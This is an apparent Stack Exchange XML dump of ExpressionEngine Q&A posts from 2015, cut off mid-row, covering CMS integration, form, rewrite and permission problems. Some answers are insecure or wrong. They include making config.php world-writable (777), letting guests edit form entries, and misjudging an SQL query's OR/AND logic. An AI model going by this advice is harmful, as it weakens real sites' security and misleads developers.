  <row Id="32126" PostTypeId="1" CreationDate="2015-06-29T12:15:50.557" Score="0" ViewCount="615" Body="&lt;p&gt;Here is a brief background on the issue. Client has force.com CRM and posts and manages all its ticket orders for upcoming events in Salesforce. What I would like to do is integrate EE to manage and display all the events. Is it possible to be able to pull those events from object tags within Salesforce such as date, images and descriptions, and display that data in EE channels. So basically a nice responsive front end website in EE with Salesforce data. We have looked at site.com but is too expensive. Would I need a plugin for accomplish this? &lt;/p&gt;&#xA;" OwnerUserId="3427" LastEditorUserId="3427" LastEditDate="2015-08-04T10:40:56.957" LastActivityDate="2018-01-05T01:29:33.203" Title="SalesForce integration with Expression Engine has anyone integrated this?" Tags="|salesforce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32127" PostTypeId="2" ParentId="30976" CreationDate="2015-06-29T12:39:37.323" Score="0" Body="&lt;p&gt;Simple.&#xA;You could edit menu.php file.&#xA;It's located in system/expressionengine/libraries folder.&#xA;You must go to the line 321 and change it so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$menu_string .= $this-&gt;_process_menu(array('help' =&gt; $this-&gt;generate_help_link()), 0, TRUE, '', 'external');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byez&lt;/p&gt;&#xA;" OwnerUserId="6439" LastActivityDate="2015-06-29T12:39:37.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32128" PostTypeId="2" ParentId="32126" CreationDate="2015-06-29T13:31:19.623" Score="0" Body="&lt;p&gt;I have never used SalesForce, but here's the breakdown. Use their API's:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/&quot; rel=&quot;nofollow&quot;&gt;https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then simply write a module triggered by a cron job (curl the ACTion ID):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That pulls in the data from SalesForce, and uses the Channel Entries API:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To dump the data in a channel. And Tada! Wish I could give you an experience with this, but I kinda avoid SalesForce like it is the plague. (Maybe it's not so bad?)&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-29T13:31:19.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32129" PostTypeId="2" ParentId="32111" CreationDate="2015-06-29T13:39:30.480" Score="0" Body="&lt;p&gt;I had it inside loop for another Query&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason it was doing this is because it was a &lt;code&gt;foreach&lt;/code&gt; from another call like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$results = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get_where('exp_willis_rosters', array('status' =&amp;gt; 'I'));&#xA;$registered = array();&#xA;if($results-&amp;gt;num_rows() &amp;gt; 0) {&#xA;    foreach($results-&amp;gt;result_array() as $row) {&#xA;        // get the corresponding event for the user in the roster row&#xA;        $res = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where(array('EventCode' =&amp;gt;$r[&quot;eventcode&quot;]))&#xA;               -&amp;gt;limit(1)&#xA;               -&amp;gt;get('exp_course_events');&#xA;        $course_date = $res-&amp;gt;row('FormalDate');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I moved the code to another place that works.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2015-06-29T13:39:30.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32130" PostTypeId="1" CreationDate="2015-06-29T14:41:13.890" Score="0" ViewCount="679" Body="&lt;p&gt;Just moved my current EE 2.9.2 website to another host and I am getting the following error on the admin.php and the index.php. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1054&#xA;&#xA;Unknown column ‘sess_start’ in ‘field list’&#xA;&#xA;INSERT INTO `exp_sessions` (`admin_sess`, `session_id`, `ip_address`, `user_agent`, `member_id`, `last_activity`, `sess_start`, `fingerprint`) VALUES (1, ‘2050e961294359515d6732a160850dcb2491a826’, ‘81.xxx.xxx.xxx’, ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36’, 1, 1435579185, 1435579185, ‘b89d80a5323e17c04cc0bfec10a1b2fa’)&#xA;&#xA;Filename: libraries/Session.php&#xA;&#xA;Line Number: 409&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas how this could be resolved?&lt;/p&gt;&#xA;" OwnerUserId="6440" LastActivityDate="2017-02-01T11:10:50.907" Title="Error Number: 1054" Tags="|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32131" PostTypeId="1" CreationDate="2015-06-29T15:09:09.340" Score="0" ViewCount="118" Body="&lt;p&gt;i'd like to combine Channel Images with Matrix, or at least a Drag and Drop File upload for a Matrix Field. I couldn't find anything like that, so maybe someone here can help&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it possible to upload files/images to a matrix file field ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If 1. is not possible, is it possible to drag and drop upload a file/image to a matrix file field ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for any help !!&lt;/p&gt;&#xA;" OwnerUserId="6441" LastEditorUserId="343" LastEditDate="2015-06-29T15:13:13.620" LastActivityDate="2016-06-13T19:09:06.450" Title="Matrix, Drag and Drop Upload" Tags="|matrix|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32132" PostTypeId="2" ParentId="32130" CreationDate="2015-06-29T15:15:34.403" Score="1" Body="&lt;p&gt;Sounds like your database migration failed somehow. With conditions like that, I usually re-attempt the data migration. Yes, you can just create that column, but you might run into other malformed migrated tables. Make sure you look at your original database server, and that you create a column with identical properties to the original that didn't get created on migration. Let me know what happens.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-29T15:15:34.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32133" PostTypeId="1" AcceptedAnswerId="32134" CreationDate="2015-06-29T15:33:17.013" Score="0" ViewCount="51" Body="&lt;p&gt;I have a plugin that loops through some code and builds an array of results then redirects the user to a results page. How can I pass the results to the redirected page without using the URL segment? The results can be converted to JSON if needed.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2015-06-29T16:34:57.213" Title="Sending JSON from Plugin to template in a redirect?" Tags="|templates|plugin|json|redirection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32134" PostTypeId="2" ParentId="32133" CreationDate="2015-06-29T15:47:34.377" Score="0" Body="&lt;p&gt;Parse those variables! Then just dump them out in template tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-variables&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You use the template class to pass your variables through the EE template engine, then you can just make a loop out of your results in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:my_plugin parameterone=&quot;666&quot;}&#xA;    A result:&#xA;    {result_array}&#xA;        {result_variable_one}&#xA;        {result_variable_two}&#xA;    {/result_array}&#xA;{/exp:my_plugin}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-06-29T16:34:57.213" LastActivityDate="2015-06-29T16:34:57.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32135" PostTypeId="1" CreationDate="2015-06-29T19:44:31.540" Score="0" ViewCount="224" Body="&lt;p&gt;I have a channel form so logged-in members in a specific group can create and edit channel entries. One of the fields is a file upload field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have it set as a required field but the file field isn't showing an error if there is no file uploaded. Other required fields are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried it with errors inline and through the default template. Does anyone have some template code with this working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set-up a hugely simplified template to test.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&#xA;    &amp;lt;link href=&quot;{site_url}themes/cp_themes/default/css/channel_form.css&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot;&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;{site_url}assets/js/jquery-1.7.2.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;    {exp:channel:form&#xA;        channel=&quot;{segment_3}&quot;&#xA;        entry_id=&quot;{segment_4}&quot;&#xA;        include_jquery=&quot;no&quot;&#xA;        status=&quot;pending&quot;&#xA;        return=&quot;applications&quot;&#xA;        rules:cf_appli_photograph=&quot;required&quot;&#xA;        }&#xA;&#xA;        {!-- set author as current logged-in member - uses https://devot-ee.com/add-ons/channel-form-author --}&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;cfaid&quot; value=&quot;[{member_id}]&quot;/&amp;gt;&#xA;&#xA;        {!-- set title of entry as member id and time --}&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{member_id} {current_time format=&quot;%d %m %Y %H:%i&quot;}&quot;&amp;gt;&#xA;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;cf_appli_photograph&quot;&amp;gt;Photograph&amp;lt;/label&amp;gt;&#xA;            &amp;lt;p class=&quot;help&quot;&amp;gt;Max 1Mb&amp;lt;/p&amp;gt;&#xA;            {field:cf_appli_photograph}&#xA;            {if error:cf_appli_photograph}&#xA;                &amp;lt;p class='alert-error'&amp;gt;{error:cf_appli_photograph}&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;    {/exp:channel:form}&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the image size exceeds the Maximum File Size set in the File Upload Preferences I get an error saying so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no file included at all the form successfully submits although the field is set as required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No Console errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies for the slow reply and thanks for taking a look.&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2015-07-02T11:30:07.477" LastActivityDate="2019-06-03T11:01:20.170" Title="How do I make a file field required in a Channel Form?" Tags="|safecracker|file-uploads|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32136" PostTypeId="2" ParentId="32124" CreationDate="2015-06-29T19:49:58.183" Score="0" Body="&lt;p&gt;You can edit the states.php file inside Store &gt; data on your third_party directory. It returns a key / value array. Just make sure it complies with your Shipping &amp;amp; Payment Gateway required fields.&lt;/p&gt;&#xA;" OwnerUserId="1139" LastActivityDate="2015-06-29T19:49:58.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32137" PostTypeId="2" ParentId="9493" CreationDate="2015-06-29T20:13:42.947" Score="0" Body="&lt;p&gt;I used the following to pull back the channel and the category name if one existed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{path=&quot;{channel_url}/{categories}{category_url_title}{/categories}/{url_title}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-06-29T20:13:42.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32138" PostTypeId="2" ParentId="32131" CreationDate="2015-06-30T07:08:33.060" Score="0" Body="&lt;p&gt;There is &lt;a href=&quot;https://devot-ee.com/add-ons/matrix-multi-upload&quot; rel=&quot;nofollow&quot;&gt;Matrix Multi-Upload&lt;/a&gt; which would allow you to upload multiple images but I don't think it allows drag and drop functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want drop and drag functionality I think you are limited to Channel Images or &lt;a href=&quot;https://devot-ee.com/add-ons/photo-frame&quot; rel=&quot;nofollow&quot;&gt;Photo Frame&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-06-30T07:08:33.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32139" PostTypeId="1" CreationDate="2015-06-30T10:09:01.427" Score="0" ViewCount="55" Body="&lt;p&gt;I want to make a custom url like this&#xA;&lt;a href=&quot;http://example.com/entertainment/celebrity/call_me_caitlyn_breaks_the_internet&quot; rel=&quot;nofollow&quot;&gt;http://example.com/entertainment/celebrity/call_me_caitlyn_breaks_the_internet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i wrote the rewrite rule as follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteRule ^entertainment/celebrity/(.*?)$ index.php?/news_article/$1 [L]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteRule ^entertainment/celebrity/(.*?)$ index.php?/news_article/celebrity/$1 [L]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does not work both of them. How to fix this.&lt;/p&gt;&#xA;" OwnerUserId="6447" LastActivityDate="2016-06-11T21:18:09.233" Title="How to custom rewrite rule in expression engine?" Tags="|regular-expressions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32140" PostTypeId="1" CreationDate="2015-06-30T11:28:04.300" Score="0" ViewCount="19" Body="&lt;p&gt;I am submitting a form and that form will email a client at the supplied email address. However, in the email that is sent to the client a URL is included to edit their response. On this page I am using the freeform:edit tag but they can not see it because they are not logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example URL:&#xA;sitegoeshere.com/refferal/mma/26/1-23456789&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Segment 3 would be the freeform entry id but if they are not logged in the client can not see this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So any ideas on how to make a non-logged in user edit an entry?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the security risk of anyone can see any entry but none of the data is worth anything to someone else.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Eric&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6448" LastActivityDate="2015-06-30T12:11:47.653" Title="How to get NON - logged in users to the site to see the freeform:edit tag?" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32141" PostTypeId="2" ParentId="20006" CreationDate="2015-06-30T11:58:07.890" Score="2" Body="&lt;p&gt;I had this problem just now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me.. it was due to a duplicate of a third party module left over from when i updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically i was updating low variables and duplicated the exisitng files just as a safety net... so i had a folder called 'low_variables - copy'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once i removed that everything worked as normal.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-06-30T11:58:07.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32142" PostTypeId="2" ParentId="32140" CreationDate="2015-06-30T12:11:47.653" Score="2" Body="&lt;p&gt;Just add &lt;code&gt;restrict_edit_to_author=&quot;no&quot;&lt;/code&gt; to your &lt;code&gt;freeform:edit&lt;/code&gt; tag. From the &lt;a href=&quot;https://solspace.com/docs/freeform/edit/#restrict_edit_to_author&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Specifying a value of no to this parameter will mean that anyone, including logged out users / guests can edit the entry. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-30T12:11:47.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32143" PostTypeId="2" ParentId="32139" CreationDate="2015-06-30T13:11:31.167" Score="0" Body="&lt;p&gt;Here ya go, bruva:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^entertainment/celebrity/(.+)$ news_article/celebrity/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do the trick. Please report back if it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add QSA to the rule flags if you have query strings!&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-30T13:11:31.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32144" PostTypeId="2" ParentId="12338" CreationDate="2015-06-30T14:44:25.617" Score="0" Body="&lt;p&gt;You mention this is a dev site, and I assume from your OP that you have a stage/live server set up too? As you mention your namespace switch-er-oo technique for deployments (btw, Ree-locate is awesome if simulating domains on your local machines is too much).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that you logged into the Live/Stage site (ergo gainign the session cookies) then logged into your dev site and because the dev site is configured with the same domain it inherits your live cookies? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you still log into/ out of your stage and live enviroments.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-30T14:44:25.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32146" PostTypeId="1" AcceptedAnswerId="32147" CreationDate="2015-06-30T15:17:25.270" Score="0" ViewCount="78" Body="&lt;p&gt;I am setting up a search by author section on the blog for my website. I have all the code set up correct, and people are showing up! However, not everyone is showing up. When I run the SQL Query below, I am short a couple of results. When I move a member from Group 6 to Group 1, she shows up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something here? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1 style=&quot;font-size:24px;font-weight:normal;color:#72736F;border-bottom: 1px dotted #999;&quot;&amp;gt;Search by Author&amp;lt;/h1&amp;gt;&#xA;&#xA;{exp:query sql=&quot;SELECT* &#xA;  FROM exp_members &#xA;  WHERE group_id = '1' OR group_id = '6'&#xA;  AND total_entries != 0&#xA;  AND in_authorlist = 'y'&#xA;&quot;}&#xA;  &amp;lt;a href=&quot;{site_url}wcrealtors_blogs/author/{member_id}&quot; class=&quot;blogimg&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;{site_url}/images/avatars/{avatar_filename}&quot; class=&quot;imgblogauthorbar&quot;/&amp;gt;&#xA;  &amp;lt;/a&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your help! &lt;/p&gt;&#xA;" OwnerUserId="6366" LastActivityDate="2015-06-30T15:22:32.247" Title="SQL Query Not Displaying All Results" Tags="|ee2|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32147" PostTypeId="2" ParentId="32146" CreationDate="2015-06-30T15:22:32.247" Score="0" Body="&lt;p&gt;There should be a space between your select statement and your all field list term:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but past that, this is definitely a correctly structured query. When you visit the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CP Home -&amp;gt; Members -&amp;gt; Member Groups -&amp;gt; Edit Member Group&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;page of your Super Admin group, are Super Admins set to yes for this option?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Include Members in PUBLISH page multi-author list?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-30T15:22:32.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32148" PostTypeId="1" AcceptedAnswerId="32150" CreationDate="2015-06-30T16:59:17.567" Score="0" ViewCount="86" Body="&lt;p&gt;Can Solspace calendar be setup to have multiple times a day per event?  I am looking at using it for movie listings where each movie will be shown for a different number of days and each day the movie might be shown a different number of times and at different times of the day from day to day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if Solspace calendar can be setup to do this?&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2015-06-30T21:58:39.720" Title="Can Solspace calendar have multiple times each day for an event?" Tags="|solspace|solspace-calendar|calendar|events|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32149" PostTypeId="2" ParentId="32148" CreationDate="2015-06-30T17:36:37.790" Score="0" Body="&lt;p&gt;I am lead to believe it is absolutely doable. I'm eyeing that occurrences section on this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just send them an email and they'll tell you for sure.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-30T17:36:37.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32150" PostTypeId="2" ParentId="32148" CreationDate="2015-06-30T19:50:13.583" Score="1" Body="&lt;p&gt;Yes, you can do that. When you create an event, add a rule for each time of the day that the event is going to occur as well as what day of the week its happening on at said time. You can have multiple, inclusive days and times of day for an event:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/documentation/calendar/images/calendar_cppublish_1.jpg&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/documentation/calendar/images/calendar_cppublish_1.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edited to make this into a proper answer setup]&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2015-06-30T21:58:39.720" LastActivityDate="2015-06-30T21:58:39.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32151" PostTypeId="1" CreationDate="2015-07-01T00:12:09.650" Score="2" ViewCount="2140" Body="&lt;p&gt;I set permissions via SFTP to 666 on config.php and database.php but am getting this in the installation wizard:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your config.php file does not appear to have the proper file permissions. Please set the file permissions to 666 (or the equivalent write permissions for your server) on the following file: expressionengine/config/config.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running ls -l on the command line I can see the permissions are assigned to me as a user. Could the problem be that the permissions need to be set in a different way for the server to access the files? Or something else?&lt;/p&gt;&#xA;" OwnerUserId="6452" LastActivityDate="2016-08-12T19:28:56.407" Title="Config.php file permission changed to 666 but installation won't run" Tags="|config|permissions|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32155" PostTypeId="1" CreationDate="2015-07-01T04:26:23.583" Score="1" ViewCount="88" Body="&lt;p&gt;How is it possible to get orders from Expresso Store 2 to get Stripe to send email receipts as well as eh ones generated from Expresso? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no option to enable them as far as I can tell in Expresso. Is there a way to pass the parameter from the form to get email receipts as per the stripe docs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.stripe.com/questions/email-receipts&quot; rel=&quot;nofollow&quot;&gt;https://support.stripe.com/questions/email-receipts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2015-07-18T20:19:43.267" Title="How to get Expresso Store to trigger stripe email receipts?" Tags="|expresso-store|expresso|stripe|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32157" PostTypeId="1" AcceptedAnswerId="32158" CreationDate="2015-07-01T09:24:08.910" Score="0" ViewCount="71" Body="&lt;p&gt;I'm using Low Search 2.1.2 on a Shop page.  The search works fine, but the padlock for the SSL cert is coming up as broken.  Inspecting it in Chrome gives the following error: The page at example.com was loaded over a secure connection, but contains a form which targets an insecure endpoint 'example.com'. This endpoint should be made available over a secure connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be Low Search form, which is creating the following HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;main_search&quot; method=&quot;post&quot; action=&quot;http://example.com/index.php&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've used the following tag to generate the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form form_id=&quot;main_search&quot; collection=&quot;products&quot; search_mode=&quot;all&quot; result_page=&quot;/shop/results&quot; force_protocol=&quot;https&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make Low Search generate a secure action URL?&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-07-01T10:10:47.217" Title="Low Search Secure Action" Tags="|low-search|secure|secureforms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32158" PostTypeId="2" ParentId="32157" CreationDate="2015-07-01T10:10:47.217" Score="1" Body="&lt;p&gt;The following is true for &lt;strong&gt;any form generated by EE&lt;/strong&gt;, including the Low Search form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the &lt;code&gt;action&lt;/code&gt; url to be https, make sure the &lt;strong&gt;URL to the root directory of your site&lt;/strong&gt; setting under Admin &gt; General Configuration (aka the &lt;code&gt;site_url&lt;/code&gt; config item) also starts with https.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-07-01T10:10:47.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32159" PostTypeId="2" ParentId="32151" CreationDate="2015-07-01T12:16:06.687" Score="0" Body="&lt;p&gt;Well, every file that EE needs to edit need to be owned by the same user/group that is running your PHP agent (Apache, Nginx, etc...), not your user. Also, just bump that sucker to 777 and see if it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please also post an example of your particular web root path setup (you just running /var/www/ ?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That file needs to be writable by your agent's user, not owned. 777 should work, but I would make sure your agent and your entire web root are owned by the same user group (get recursive!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your command line, run this sucker:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ps -Aef | grep &quot;apache&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first column result is the user running your agent. Report back. Also, stupid ass question, but you are sure the file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/var/www/system/expressionengine/config/config.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;exists? For some reason I'm betting your SFTP client somehow took ownership of those files since your output of file listing shows they are owned by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jack.brighton&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and usually &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www-data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is running Apache.&lt;/p&gt;&#xA;" OwnerUserId="3579" 